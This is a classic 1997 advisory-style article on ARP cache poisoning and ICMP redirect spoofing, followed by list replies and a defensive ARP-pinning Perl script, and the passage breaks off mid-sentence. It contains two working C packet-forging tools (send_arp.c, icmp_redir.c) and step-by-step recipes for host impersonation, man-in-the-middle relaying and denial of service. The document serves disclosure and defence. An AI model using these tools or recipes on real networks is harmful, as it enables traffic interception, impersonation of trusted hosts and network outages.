"Fossies" - the Fresh Open Source Software Archive

Member "fake-1.1.11/docs/arp_fun.txt" (8 Jul 2009, 33207 Bytes) of package /linux/misc/old/fake-1.1.11.tar.gz:


As a special service "Fossies" has tried to format the requested text file into HTML format (style: standard) with prefixed line numbers. Alternatively you can here view or download the uninterpreted source code file.

    1 
    2 [ http://www.rootshell.com/ ]
    3 
    4                     Playing redir games with ARP and ICMP
    5                               by yuri volobuev
    6 
    7                                  [ -Intro- ]
    8 
    9 There're bugs and there're features.  All too often the distinction between
   10 the two is in the eye of the beholder.  I'd like to show how two legitimate
   11 protocols, ARP and ICMP, while properly implemented, can be used to achieve
   12 something which is, well, not desirable.
   13 
   14 While passive attacks (sniffing) that take advantage of the root access to
   15 LAN are extremely popular and every half-way decent root kit has some kind
   16 of a net sniffer, active attacks are not nearly as widespread.  Yet, active
   17 participation in the life of your LAN may bring lots of fun and joy.  You
   18 knew that already, it's just that technical details had been somewhat
   19 obscure.  So, let there be more light.
   20 
   21 Possibilities outlined here include spoofing and DoS.  While other means of
   22 spoofing, such as IP blind spoofing, are more general and powerful, in terms
   23 of who can use them, they require quite a lot of (guess)work and may be hard
   24 to implement.  ARP spoofing, on contrary, is very easy and robust.
   25 
   26 While ARP spoofing is only possible on a local network, it may be a serious
   27 concern as a way to extend an already existing security breach.  If somebody
   28 can break into one machine on a subnet, ARP spoofing can be used to
   29 compromise the rest of it.
   30 
   31                            [ -Background on ARP- ]
   32 
   33 [well, originally i wrote few paragraphs outlining arp, but then i figured
   34 that if you didn't know how it works already, you'll need to learn it from a
   35 better source.  I recommend "TCP/IP Illustrated" by W.Richard Stevens.]
   36 
   37                            [ -What can be done- ]
   38 
   39 Let's consider a hypothetical network
   40 
   41 IP          10.0.0.1   10.0.0.2  10.0.0.3  10.0.0.4
   42 hostname       cat        rat       dog       bat
   43 hw addr       AA:AA      BB:BB     CC:CC     DD:DD    (for short)
   44 
   45 all connected by Ethernet in some simple way (i.e. no switches, no smart
   46 hubs).  You're on cat, you have root and desire to break into dog.  You know
   47 that dog trusts rat, so if you can successfully spoof rat, something can be
   48 gained.
   49 
   50 First thing that comes to mind (I think everybody was thinking about this at
   51 some point) is "why don't I set my IP to the IP of that other machine
   52 and..." That won't work, at least it won't work reliably.  If you tell
   53 Ethernet driver on cat that it's IP is 10.0.0.2, it'll start answering ARP
   54 requests to that IP.  But so will rat.  It's a pure race condition, and
   55 there's no winner.  However, you can easily be the loser, because this
   56 particular situation happens quite often when some box is misconfigured to
   57 use somebody's else's IP, so many implmentations immedeately notice that and
   58 loudly complain.  Many network traffic analyzers flag that, too.  Seeing a
   59 syslog message saying something nasty (mentioning cat's Ethernet address) on
   60 the LAN admin's console is not quite what you want.  And what you want you
   61 won't necessarily get, that is getting anything remotely close to a working
   62 connection.
   63 
   64 This of course can be helped.  The attached program, send_arp.c, can be a
   65 useful tool.  Just as its name says, it sends an ARP packet [ARP reply, to
   66 be exact: since the protocol is stateless, reply will be happily accepted
   67 even if no one ever asked for it.  Request would do just as well, though,
   68 because of the ARP caching logic] to the net, and you can make this packet
   69 to be what you want.  What you want is an ability to specify source and
   70 target IP and hardware addresses.
   71 
   72 First, you don't want your Ethernet driver to talk too much, and it's easy
   73 to accomplish with ifconfig -arp.  Of course, it'll need ARP info anyway, so
   74 you'll have to feed it to the kernel manually with arp(8).  The critical
   75 part is convincing your neighbours.  In the case being described here, you
   76 want dog to believe that rat's hardware address is that of cat (AA:AA), so
   77 you send ARP reply with source IP 10.0.0.2, source hw address AA:AA, target
   78 IP address 10.0.0.3 and target hardware address CC:CC.  Now, for all dog
   79 knows, rat is at AA:AA.  Cache entry would expire, of course, so it needs to
   80 be updated (request needs to be resent).  How often depends on the
   81 particular system, but every 40 sec or so should be sufficient for most
   82 cases.  Send it more often if you want, it won't hurt.
   83 
   84 A complication here could come from an ARP caching implementation feature.
   85 Some systems (e.g. Linux) would try to update their cache entries by sending
   86 a unicast ARP request to the cached address (like your wife calling you just
   87 to make sure you're there).  Such a request can screw things up, because it
   88 could change victim's ARP entry that we just faked, so it must be prevented.
   89 This can be accomplished by feeding the "wife" system with replies so that
   90 it never has to ask for it.  Prevention is the best cure, as always.  This
   91 time, a real packet from dog to rat should be sent, it's just that cat will
   92 be sending it, not dog, but for rat there's no way to tell.  Again, doing it
   93 about every 40 sec is usually OK.
   94 
   95 So the procedure is simple.  Bring up an alias interface, e.g. eth0:1 (or
   96 use your current one, whatever), with rat's IP and ARP on -- you need to set
   97 up some cache entries first, and it won't work on non-arp interface.  Set up
   98 a host route entry for dog through the right interface.  Set up a cache
   99 entry for dog, turn off arp, and it's all set.
  100 
  101 Now, inject the venom with send_arp (hitting both dog and rat) and for all
  102 dog knows, you're on rat.  Just remember to keep sending those ARP packets
  103 to dog and rat.
  104 
  105 This attack only works on the local network, of course (in general, it can
  106 reach as far as ARP packets can get, usually not too far because ARP packets
  107 are almost never routed).  But an interesting extension here is taking this
  108 outside by replacing dog's hardware address in the above plan with the
  109 router's.  If it works (I'm not sure it always will, router's ARP
  110 implementation may be tougher to fool, and since I don't want to try it on
  111 real routers, I don't know, but there's no simple reason why not) you can
  112 easily impersonate any machine on the local network to the rest of the
  113 world.  So the target machine could really be anywhere, but the machine
  114 you're impersonating must be on the same LAN.
  115 
  116                          [ -What else can be done- ]
  117 
  118 Aside from spoofing, there's range of other things you can do with ARP.  The
  119 sky is really the limit here.  DoS is the most obvious application.
  120 
  121 Feeding victim wrong hardware address is a powerful way to make it mute.
  122 You can prevent it from talking to any particular machine (and ARP cache
  123 size usually allows for the whole network to fit in, so effectively you can
  124 stop it from talking to everybody for some time).  Obvious target would be
  125 the router.  Cache poisoning again should be two-way: both the victim system
  126 and the system you don't want victim to talk to should be fed.  The simplest
  127 case would be feeding a non-existant address.  It's not the most efficient,
  128 though, as the system will quickly realize that it's talking to nobody and
  129 send out an ARP request.  Of course, your next drop of poison will nullify
  130 this, but you have to do it quite often.  A more efficient approach here is
  131 feeding the victim with the hardware address of the wrong machine, which
  132 itself is alive and well.  Again, it depends on a particular situation, but
  133 very often what happens is that victim keeps sending out packets of various
  134 types that arrive to the wrong destination, and destination system will
  135 promptly send ICMP Xxx Unreachable messages back, thus emulating a
  136 connection in some perverted way.  This pseudo-conection can easily postpone
  137 cache expiry.  On Linux, for example, pseudo-connection raises cache expiry
  138 from usual 1 min to about 10 min.  By that time, most or all TCP connections
  139 are screw up.  Could be quite annoying.  This way, one ARP packet can screw
  140 someone.
  141 
  142 An interesting twist here is so-called "gratuitous ARP".  It's when the
  143 source and target IPs in the ARP request are the same, and it usually
  144 appears in a form of an Ethernet broadcast.  Some implementations recognize
  145 it as a special case, that of a system sending out updated information about
  146 itself to everybody, and cache that request.  This way one packet could
  147 screw up the entire network.  It must be admitted, though, that gratuitous
  148 ARP is not really defined as a part of ARP, so it's up to vendor to (not)
  149 implement it, and it's becoming increasingly less popular.
  150 
  151 ARP is a serious tool for professional practical jokes, too.  Just imagine
  152 somebody setting up a relay, or tunnel, in a form of own machine that
  153 convinced two neighbours to send their packets intended for each other to
  154 relay's Ethernet.  If relay just forwards packets to their real
  155 destinations, no one would even notice.  However, some simple data stream
  156 modifications could have quite a spectacular effect on one's mental health.
  157 A simple, CPU-inexpensive "filter" could be swapping random two bytes at
  158 irregular long intervals.  If it hits the data portion, most of the
  159 checksums won't change, i.e. data stream would seem to be intact, yet
  160 strange and unexplicable things _will_ happen for no apparent reason.
  161 
  162                         [ -ICMP redirects- ]
  163 
  164 An effect somewhat similar to ARP cache poisoning can be achieved in a
  165 different way, again using a legitimate protocol feature, ICMP route
  166 redirects.  Such a redirect is normally sent by the default router to the
  167 system to indicate that there's a shorter route to some particular
  168 destination.  Originally, both network and host route redirects were
  169 proposed, but later net redirects were deprecated and now are usually
  170 treated as host redirects.  Properly constructed ICMP packet that passes all
  171 sanity checks (it must come from the default router for the destination it's
  172 redirecting, new router should be on a directly connected network, etc.) it
  173 causes a host-route entry be added to the system routing table.
  174 
  175 The concept is just as secure as ICMP itself, i.e. (security)NULL.  Spoofing
  176 routers IP address is simple, and attached icmp_redir.c does just that.
  177 Host Requirements RFC states that system MUST follow ICMP redirects unless
  178 it's a router.  And indeed all the systems I've tried happily accept it
  179 (except vanilla Linux 2.0.30, where it's broken, it works in 2.0.29 and
  180 2.0.31pre9, according to Alan Cox).
  181 
  182 ICMP redirects present a rather potent DoS.  Unlike ARP cache entries, those
  183 host routes won't expire with time.  And of course no access to local
  184 network is required, attack can be launched from anywhere.  So if the target
  185 system does accept ICMP redirects (and packets can actually reach it) that
  186 system can be stopped from talking to any particular address on the net
  187 (well, not all, but those that aren't on the same subnet with the target).
  188 Nameservers would be an obvious target.
  189 
  190                        [ -What can be done about it- ]
  191 
  192 ARP is low level protocol and as such is usually hidden from normal people.
  193 LAN admins may be concerned with it at times, but if all goes well no one
  194 pays attention.  One can always inspect contents of ARP cache using arp(8),
  195 especially if there's some misterious network problem, but again it's not
  196 the first thing that comes to mind.  Even W95 has arp command, and
  197 remembering about it may be helpful in certain situations.  However, if
  198 you're the target of the attack originating from another network via gateway
  199 arp spoofing, there's no way to tell.  Similarly, host routing table could
  200 be examined to spot ICMP-generated entries (in most versions of route(1)
  201 they are marked with D letter in flags field).  Just be aware.
  202 
  203 The above ARP attack scheme work perfectly for plain old 10Base2 Ethernet.
  204 However, if machines are interconnected in some more advanced way,
  205 particularly using some smart hubs or switches, attack can be more visible
  206 or even impossible (same goes for passive attacks).  So there's yet another
  207 reason to invest in a good piece of network equipment.  A good deal of peace
  208 of mind may just come with it.
  209 
  210 In general, however, I personally find it rather sad that things like ICMP
  211 redirects were made a default.  First, it's often not necessary because many
  212 networks have very simple structure and there's never a need for anything in
  213 addition to usual routing table.  Second, on more sophisticated networks
  214 routing table can be just as well set manually, it's not really such a
  215 dynamic thing, so why do it via ICMP?  And finally, it's dangerous, so I
  216 would like to disable it on my systems, even though it'll make them less
  217 compliant with RFC1122.  Alas, it may not be easy.  On Linux or any other OS
  218 with sources available, I can at least hack the kernel and #define it out.
  219 On Irix 6.2 and possibly other versions one can set icmp_dropredirects=1
  220 with systune (I'm genuinely surprised to see it there, I really am).  Other
  221 OSes can be configurable, too, I have no information.
  222 
  223 With ARP, we basically face a situation when the problem of name resolution
  224 is solved dynamically without a centralized server.  It doesn't have to be
  225 this way.  When one wants to map hostname to an IP, nameserver is queried or
  226 /etc/hosts is consulted, i.e. there's some static mapping established.  I
  227 don't see why a similar thing can't be done with ARP.  Ethernet hardware
  228 addresses don't change too often, and when they do change, it won't kill net
  229 admin to change the corresponding map.  Ethernet can be forced in no-arp
  230 mode, you just need to make sure your ARP cache has all the entries made as
  231 permanent.  As a bonus, this will reduce network traffic somewhat.  Standard
  232 procedures can be used to distribute ARP map, e.g. rdist, rsync (I would say
  233 NIS, but if you use NIS, ARP is probably not your top security concern
  234 anyway).  Old tradition of /etc/ethers can be brought back to life.  But
  235 getting a kick-ass Ethernet switch still looks better to me (paying for it
  236 does not, though).
  237 
  238 And old wisdom still shine bright though time: don't use hostname-only based
  239 auth.  Those who do shall have no mercy from net gods.
  240 
  241 cheers,
  242 
  243 yuri
  244 
  245 P.S. On Firewalls
  246 
  247 I anticipate that many of you, having read the section about ICMP, are
  248 already flexing the fingers preparing to write a follow-up explaining that
  249 all those ICMP packets can be filtered out on the firewall, thus it's not a
  250 problem.  Please don't.  I'm well aware of the concept.  An if you feel you
  251 absolutely have to, don't cc the list needlessly.
  252 
  253 I have to note that many people use "i have firewall, and I like it,
  254 therefore everyone else should get one or get lost" logic to argue that
  255 certain security problems are less serious because they can be effectively
  256 eliminated by putting a firewall between the protected network and
  257 Internet.  While I fully agree that having firewall is very good for
  258 security, I want to note that it's not always possible or effective.
  259 
  260 Imagine an environment where all machines are directly connected to
  261 Internet, you have to share subnet with people you don't know who have
  262 vanilla SGI boxes screaming "hack me pleeeease, my vendor did such a great
  263 job of making it eeeeeeasy" all over the place (and sure, these people know
  264 Unix, they've seen it in Jurassic Park... and that would be about it), and
  265 the router to your subnet is controlled by a separate organization.  Welcome
  266 to a standard academic environment, where people don't use firewalls.  In
  267 fact, in some of those environments one would be useful to protect the
  268 outside world from the people on the inside.  Still, people work there, and
  269 use computers, too.  And that's where per-host security solutions are
  270 necessary, it's a jungle where every host is for itself.  So please, next
  271 time you think "firewall", remember, it's not for everyone.
  272 
  273 CUT HERE
  274 /* send_arp.c
  275 
  276 This program sends out one ARP packet with source/target IP and Ethernet
  277 hardware addresses suuplied by the user.  It compiles and works on Linux
  278 and will probably work on any Unix that has SOCK_PACKET.
  279 
  280 The idea behind this program is a proof of a concept, nothing more.  It
  281 comes as is, no warranty.  However, you're allowed to use it under one
  282 condition: you must use your brain simultaneously.  If this condition is
  283 not met, you shall forget about this program and go RTFM immediately.
  284 
  285 yuri volobuev'97
  286 volobuev@t1.chem.umn.edu
  287 
  288 */
  289 
  290 #include <stdio.h>
  291 #include <ctype.h>
  292 #include <stdlib.h>
  293 #include <string.h>
  294 #include <errno.h>
  295 #include <netdb.h>
  296 #include <sys/socket.h>
  297 #include <linux/in.h>
  298 #include <arpa/inet.h>
  299 #include <linux/if_ether.h>
  300 
  301 #define ETH_HW_ADDR_LEN 6
  302 #define IP_ADDR_LEN 4
  303 #define ARP_FRAME_TYPE 0x0806
  304 #define ETHER_HW_TYPE 1
  305 #define IP_PROTO_TYPE 0x0800
  306 #define OP_ARP_REQUEST 2
  307 
  308 #define DEFAULT_DEVICE "eth0"
  309 
  310 char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
  311 \tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};
  312 
  313 struct arp_packet {
  314         u_char targ_hw_addr[ETH_HW_ADDR_LEN];
  315         u_char src_hw_addr[ETH_HW_ADDR_LEN];
  316         u_short frame_type;
  317         u_short hw_type;
  318         u_short prot_type;
  319         u_char hw_addr_size;
  320         u_char prot_addr_size;
  321         u_short op;
  322         u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
  323         u_char sndr_ip_addr[IP_ADDR_LEN];
  324         u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
  325         u_char rcpt_ip_addr[IP_ADDR_LEN];
  326         u_char padding[18];
  327 };
  328 
  329 void die(char *);
  330 void get_ip_addr(struct in_addr*,char*);
  331 void get_hw_addr(char*,char*);
  332 
  333 int main(int argc,char** argv){
  334 
  335 struct in_addr src_in_addr,targ_in_addr;
  336 struct arp_packet pkt;
  337 struct sockaddr sa;
  338 int sock;
  339 
  340 if(argc != 5)die(usage);
  341 
  342 sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
  343 if(sock<0){
  344         perror("socket");
  345         exit(1);
  346         }
  347 
  348 pkt.frame_type = htons(ARP_FRAME_TYPE);
  349 pkt.hw_type = htons(ETHER_HW_TYPE);
  350 pkt.prot_type = htons(IP_PROTO_TYPE);
  351 pkt.hw_addr_size = ETH_HW_ADDR_LEN;
  352 pkt.prot_addr_size = IP_ADDR_LEN;
  353 pkt.op=htons(OP_ARP_REQUEST);
  354 
  355 get_hw_addr(pkt.targ_hw_addr,argv[4]);
  356 get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
  357 get_hw_addr(pkt.src_hw_addr,argv[2]);
  358 get_hw_addr(pkt.sndr_hw_addr,argv[2]);
  359 
  360 get_ip_addr(&src_in_addr,argv[1]);
  361 get_ip_addr(&targ_in_addr,argv[3]);
  362 
  363 memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
  364 memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
  365 
  366 bzero(pkt.padding,18);
  367 
  368 strcpy(sa.sa_data,DEFAULT_DEVICE);
  369 if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
  370         perror("sendto");
  371         exit(1);
  372         }
  373 exit(0);
  374 }
  375 
  376 void die(char* str){
  377 fprintf(stderr,"%s\n",str);
  378 exit(1);
  379 }
  380 
  381 void get_ip_addr(struct in_addr* in_addr,char* str){
  382 
  383 struct hostent *hostp;
  384 
  385 in_addr->s_addr=inet_addr(str);
  386 if(in_addr->s_addr == -1){
  387         if( (hostp = gethostbyname(str)))
  388                 bcopy(hostp->h_addr,in_addr,hostp->h_length);
  389         else {
  390                 fprintf(stderr,"send_arp: unknown host %s\n",str);
  391                 exit(1);
  392                 }
  393         }
  394 }
  395 
  396 void get_hw_addr(char* buf,char* str){
  397 
  398 int i;
  399 char c,val;
  400 
  401 for(i=0;i<ETH_HW_ADDR_LEN;i++){
  402         if( !(c = tolower(*str++))) die("Invalid hardware address");
  403         if(isdigit(c)) val = c-'0';
  404         else if(c >= 'a' && c <= 'f') val = c-'a'+10;
  405         else die("Invalid hardware address");
  406 
  407         *buf = val << 4;
  408         if( !(c = tolower(*str++))) die("Invalid hardware address");
  409         if(isdigit(c)) val = c-'0';
  410         else if(c >= 'a' && c <= 'f') val = c-'a'+10;
  411         else die("Invalid hardware address");
  412 
  413         *buf++ |= val;
  414 
  415         if(*str == ':')str++;
  416         }
  417 }
  418 
  419 CUT HERE
  420 
  421 /* icmp_redir.c
  422 
  423 This program sends out an ICMP host redirect packet with gateway IP supplied
  424 by user.  It was written and tested under Linux 2.0.30 and could be rather
  425 easily modified to work on most Unices.
  426 
  427 The idea behind this program is a proof of a concept, nothing more.  It
  428 comes as is, no warranty.  However, you're allowed to use it under one
  429 condition: you must use your brain simultaneously.  If this condition is
  430 not met, you shall forget about this program and go RTFM immediately.
  431 
  432 yuri volobuev'97
  433 volobuev@t1.chem.umn.edu
  434 
  435 */
  436 #include <stdio.h>
  437 #include <stdlib.h>
  438 #include <string.h>
  439 #include <errno.h>
  440 #include <unistd.h>
  441 #include <netdb.h>
  442 #include <syslog.h>
  443 #include <sys/socket.h>
  444 #include <arpa/inet.h>
  445 #include <netinet/in.h>
  446 #include <netinet/ip_icmp.h>
  447 #include <netinet/ip.h>
  448 
  449 #define IPVERSION       4
  450 
  451 struct raw_pkt {
  452         struct iphdr ip; /* This is Linux-style iphdr.
  453                             Use BSD-style struct ip if you want */
  454         struct icmphdr icmp;
  455         struct iphdr encl_iphdr;
  456         char encl_ip_data[8];
  457 };
  458 
  459 struct raw_pkt* pkt;
  460 
  461 void die(char *);
  462 unsigned long int get_ip_addr(char*);
  463 unsigned short checksum(unsigned short*,char);
  464 
  465 int main(int argc,char** argv){
  466 
  467 struct sockaddr_in sa;
  468 int sock,packet_len;
  469 char usage[]={"icmp_redir: send out custom ICMP host redirect packet.  \
  470 yuri volobuev'97\n\
  471 usage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
  472 char on = 1;
  473 
  474 if(argc != 5)die(usage);
  475 
  476 if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
  477         perror("socket");
  478         exit(1);
  479         }
  480 
  481 sa.sin_addr.s_addr = get_ip_addr(argv[2]);
  482 sa.sin_family = AF_INET;
  483 
  484 packet_len = sizeof(struct raw_pkt);
  485 pkt = calloc((size_t)1,(size_t)packet_len);
  486 
  487 pkt->ip.version = IPVERSION;
  488 pkt->ip.ihl = sizeof(struct iphdr) >> 2;
  489 pkt->ip.tos = 0;
  490 pkt->ip.tot_len = htons(packet_len);
  491 pkt->ip.id = htons(getpid() & 0xFFFF);
  492 pkt->ip.frag_off = 0;
  493 pkt->ip.ttl = 0x40;
  494 pkt->ip.protocol = IPPROTO_ICMP;
  495 pkt->ip.check = 0;
  496 pkt->ip.saddr = get_ip_addr(argv[1]);
  497 pkt->ip.daddr = sa.sin_addr.s_addr;
  498 pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
  499 
  500 pkt->icmp.type = ICMP_REDIRECT;
  501 pkt->icmp.code = ICMP_REDIR_HOST;
  502 pkt->icmp.checksum = 0;
  503 pkt->icmp.un.gateway = get_ip_addr(argv[4]);
  504 
  505 memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
  506 pkt->encl_iphdr.protocol = IPPROTO_IP;
  507 pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
  508 pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
  509 pkt->encl_iphdr.check = 0;
  510 pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
  511         sizeof(struct iphdr));
  512 
  513 pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
  514         sizeof(struct raw_pkt)-sizeof(struct iphdr));
  515 
  516 if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
  517         perror("setsockopt: IP_HDRINCL");
  518         exit(1);
  519         }
  520 
  521 if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
  522         perror("sendto");
  523         exit(1);
  524         }
  525 exit(0);
  526 }
  527 
  528 void die(char* str){
  529 fprintf(stderr,"%s\n",str);
  530 exit(1);
  531 }
  532 
  533 unsigned long int get_ip_addr(char* str){
  534 
  535 struct hostent *hostp;
  536 unsigned long int addr;
  537 
  538 if( (addr = inet_addr(str)) == -1){
  539         if( (hostp = gethostbyname(str)))
  540                 return *(unsigned long int*)(hostp->h_addr);
  541         else {
  542                 fprintf(stderr,"unknown host %s\n",str);
  543                 exit(1);
  544                 }
  545         }
  546 return addr;
  547 }
  548 
  549 unsigned short checksum(unsigned short* addr,char len){
  550 register long sum = 0;
  551 
  552 while(len > 1){
  553         sum += *addr++;
  554         len -= 2;
  555         }
  556 if(len > 0) sum += *addr;
  557 while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
  558 
  559 return ~sum;
  560 }
  561 
  562 
  563 
  564 
  565 
  566 -------------------------------------------------------------------------
  567 
  568 
  569 > all connected by Ethernet in some simple way (i.e. no switches, no smart
  570 > hubs).  You're on cat, you have root and desire to break into dog.  You know
  571 > that dog trusts rat, so if you can successfully spoof rat, something can be
  572 > gained.
  573 
  574 Actually with a bit of care the arp spoofing attack you describe works
  575 through simple mac filtering devices. Not only that but a switched network
  576 allows you to make purely unicast address attacks that the monitoring
  577 station won't see as the lan admin is himself switched from your packets...
  578 See below.
  579 
  580 > router's.  If it works (I'm not sure it always will, router's ARP
  581 > implementation may be tougher to fool, and since I don't want to try it on
  582 > real routers, I don't know, but there's no simple reason why not) you can
  583 
  584 You can generally fool routers fairly easily too.
  585 
  586 > from usual 1 min to about 10 min.  By that time, most or all TCP connections
  587 > are screw up.  Could be quite annoying.  This way, one ARP packet can screw
  588 > someone.
  589 
  590 ARP is a poor choice for this IMHO. The 802.1 spanning tree algorithm used
  591 by bridges and switches to avoid loops has no protection either and this
  592 allows you to shut down entire ports when you can do MAC level attacks rather
  593 than messing around host by host.
  594 
  595 > screw up the entire network.  It must be admitted, though, that gratuitous
  596 > ARP is not really defined as a part of ARP, so it's up to vendor to (not)
  597 > implement it, and it's becoming increasingly less popular.
  598 
  599 Gratuitous ARP is a required part of IP mobile. It is an awkward case. The
  600 linux approach is to always honour ATF_PERM flags. That is if you create
  601 a permanent entry it will never be replaced by a learned one even temporarily.
  602 That allows security concerned people to hardcode addressing.
  603 
  604 > Host Requirements RFC states that system MUST follow ICMP redirects unless
  605 > it's a router.  And indeed all the systems I've tried happily accept it
  606 > (except vanilla Linux 2.0.30, where it's broken, it works in 2.0.29 and
  607 > 2.0.31pre9, according to Alan Cox).
  608 
  609 Yep. Thats simply a quirk of a bug. A Linux host (as opposed to router) will
  610 like everyone else honour ICMP redirect unless you firewall or turn them off.
  611 A router never honours them (its strictly forbidden)
  612 
  613 > ICMP redirects present a rather potent DoS.  Unlike ARP cache entries, those
  614 > host routes won't expire with time.  And of course no access to local
  615 
  616 No. ICMP redirect host routes expire after a few minutes. The host has to do
  617 this so that a temporary situation does not cause a permanent change. If
  618 you are lucky enough to be on a switched network with a big netmask (class B
  619 or bigger) then you can also use ICMP host redirects against many boxes to
  620 add 65000+ routes to their tables. Unixes generally eat ram and carry on as
  621 they have good routing algorithms designed to cope with the backbones. Many
  622 "desktop OS" products use linear searches for their routes.....
  623 
  624 > The above ARP attack scheme work perfectly for plain old 10Base2 Ethernet.
  625 > However, if machines are interconnected in some more advanced way,
  626 > particularly using some smart hubs or switches, attack can be more visible
  627 > or even impossible (same goes for passive attacks).  So there's yet another
  628 > reason to invest in a good piece of network equipment.  A good deal of peace
  629 > of mind may just come with it.
  630 
  631 A filtering hub lets you perform this attack
  632 
  633         ping the two hosts you wish to snoop between.
  634 
  635         Using the mac address you learn via arp send both a unicast arp
  636         giving yourself as the answer for the other IP address.
  637 
  638         Route between the two yourself and log the frames.
  639 
  640 Better yet, the admin on another port is filtered from your unicast frames.
  641 Nothing they can see coming out of their hub is likely to show up the attack.
  642 
  643 > compliant with RFC1122.  Alas, it may not be easy.  On Linux or any other OS
  644 > with sources available, I can at least hack the kernel and #define it out.
  645 > On Irix 6.2 and possibly other versions one can set icmp_dropredirects=1
  646 
  647 On Linux you can firewall icmp redirect packets specifically - ditto Im sure
  648 *BSD. That makes it a single line command option.
  649 
  650 > permanent.  As a bonus, this will reduce network traffic somewhat.  Standard
  651 > procedures can be used to distribute ARP map, e.g. rdist, rsync (I would say
  652 > NIS, but if you use NIS, ARP is probably not your top security concern
  653 > anyway).  Old tradition of /etc/ethers can be brought back to life.  But
  654 > getting a kick-ass Ethernet switch still looks better to me (paying for it
  655 > does not, though).
  656 
  657 You have a fundamental problem, and this is why neither IPv6 or bootp are
  658 any more secure to these forms of attack. Unless you burn keys into the roms
  659 or onto the disks of hosts by a non IP method you will never be able to set
  660 up the first secure session to learn the others - you have a problem akin
  661 to a PGP web of trust with nobody else to trust. With IPv6 you can at least
  662 theoretically implement IP-ESP (encryption headers) even on link layer
  663 "neighbour discovery" packets. In IPv6 there is local IPv6 rather than ARP
  664 thus one day we can crypt those too.
  665 
  666 
  667 --------------------------------------------------------------------------------
  668 
  669 
  670 Having anticipated such a problem already (in our envoronment, there are
  671 many lab machines which have NFS access to user disks on a server.  These
  672 machines may even be turned OFF which makes it easy for a spoofer to get
  673 in.), I wrote a short Perl script designed to be run from the system
  674 startup file.  Basically, it "primes" the ARP cache on Linux with the
  675 IP and MAC addresses of known machines, setting a flag so that they are
  676 never removed from the cache and can never be changed.
  677 
  678 The config file format is simple -- IP address followed by MAC address,
  679 separated by whitespace.  Pound at the beginning of a line indicates
  680 comment.
  681 
  682 This has only been tested on Linux -- people on other platforms may need
  683 to adjust the parameters to arp in the system call.
  684 
  685 It is a quick 'n' dirty program, but works -- maybe it will be useful to
  686 somebody out there, too.
  687 
  688 Note: you want to make sure that it is run after your network interface is
  689 brought up but before any servers or clients are started; otherwise,
  690 somebody may be able to sneak in a connection before the ARP tables are
  691 "locked".
  692 
  693 Here's the script:
  694 
  695 #!/usr/bin/perl
  696 # by John Goerzen <jgoerzen@cs.twsu.edu>
  697 # Program: forcehwaddr
  698 # Program to run ARP to force certain tables.
  699 
  700 # Specify filenames to read from on command line, or read from stdin.
  701 
  702 foreach (<>) {                  # For each input line....
  703   chomp;                        # Strip if CR/LF
  704   if (/^#/) { next; }           # If it's a comment, skip it.
  705   if (((($host, $hw) = /\s*(.+?)\s+(\S+)\s*/) == 2) &&
  706       !(/^#/)) {
  707      # The text between the slashes parses the input line as follows:
  708      # Ignore leading whitespace.  (\s*)
  709      # Then, start matching and put it into $host ($host, (.+?))
  710      # Skip over the whitespace after that (\s+)
  711      # Start matching.  Continue matching until end of line or optional
  712      # trailing whitespace.
  713 
  714      # Then, the if checks to see that both a
  715      # host and a hardware address were matched.
  716      # (2 matches).  If not, we skip the
  717      # line (assuming it is blank or invalid or something).
  718      # The second part of the if checks to see if the line starts with
  719      # a pound sign; if so, ignore it (as a comment).
  720 
  721      # Otherwise, run the appropriate command:
  722     printf("Setting IP %-15s to hardware address %s\n", $host, $hw);
  723     system "/usr/sbin/arp -s $host $hw\n";
  724   }
  725 }
  726 
  727 
  728 -------------------------------------------------------------------------
  729 
  730 
  731 Some systems (notably BSD variants) have the arp -f option:
  732 
  733      -f      Causes the file filename to be read and multiple entries to be
  734              set in the ARP tables.  Entries in the file should be of the form
  735 
  736                    hostname ether_addr [temp] [pub]
  737 
  738              with argument meanings as given above.
  739 
  740 
  741 -------------------------------------------------------------------------
  742 
  743 
  744 Please note Yuri's original posting - unless you use the '-arp' option with
  745 ifconfig these "permanent" settings will get replaced! Also even with -arp any
  746 host that has not had the etheraddress set using arp -f or arp -s will be added
  747 to the arp cache.
  748 
  749 This is what I found with IRIX 6.2, HP-UX or FreeBSD and I would be surprised
  750 if any other OS was very different - the "permanent" flag stays set but the
  751 etheraddress will change unless -arp has been used.
  752 
  753 Easy to test by setting a nonesense ether for a host with arp -s and then send
  754 a ping comparing the arp cache before and after. Nothing appears in logfiles
  755 unless you have something monitoring arps such as arpwatch.
  756 
  757 
  758 -------------------------------------------------------------------------
  759 
  760 I was playing around with the ICMP-redirect spoofing code from Yuri Volobuev 
  761 and I've noticed some behaviors of IP stacks that seem to limit it's 
  762 effectiveness at spoofing on a LAN. I tried it on 3 digital unix 4 boxes, 
  763 2 Solaris 2.5 boxes, and an HPUX box, and got similair results on all of them..
  764 
  765 Quoting from W. Stevens TCP/IP Illustrated, Volume 1 page 123:
  766 ...
  767 Additionally, a 4.4BSD host that recieves an ICMP redirect performs some checks
  768 before modifying its routing table. These are to prevent a misbehaving router or
  769 host, or a malicious user, from incorrectly, modifying a system's routing table.
  770 
  771 1. The new router must be on a directly connected network.
  772 2. The redirect must be from the current router for that destination.
  773 3. The redirect cannot tell the host to use itself as the router.
  774 4. The route that's being modified must be an indirect route.
  775 ...
  776 
  777 So, basically, if you have two machines on the same subnet and they both have a
